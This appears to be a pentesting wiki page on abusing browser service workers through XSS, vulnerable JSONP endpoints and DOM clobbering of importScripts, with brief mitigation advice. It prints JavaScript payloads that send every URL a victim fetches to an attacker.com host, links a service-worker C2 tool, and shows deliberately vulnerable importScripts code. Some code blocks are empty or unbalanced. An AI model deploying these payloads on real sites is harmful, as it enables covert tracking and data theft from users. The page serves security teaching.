# Abusing Service Workers

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Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Basic Information A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain. ### Checking for Existing Service Workers Existing service workers can be checked in the **Service Workers** section of the **Application** tab in **Developer Tools**. Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view. ### Push Notifications **Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits. ## Attack Creating a Service Worker In order to exploit this vulnerability you need to find: * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file * A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: ```javascript ``` In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities. The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation. ## Abusing `importScripts` in a SW via DOM Clobbering The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS. **This even bypasses CSP protections.** **Example vulnerable code:** * **index.html** ```html ``` * **sw.js** ```javascript const searchParams = new URLSearchParams(location.search); let host = searchParams.get('host'); self.importScripts(host + "/sw_extra.js"); //host can be controllable by an attacker ``` ### With DOM Clobbering For more info about what DOM Clobbering is check: {% content-ref url="dom-clobbering.md" %} [dom-clobbering.md](dom-clobbering.md) {% endcontent-ref %} If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**. For an example of this check the reference link. ## References * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

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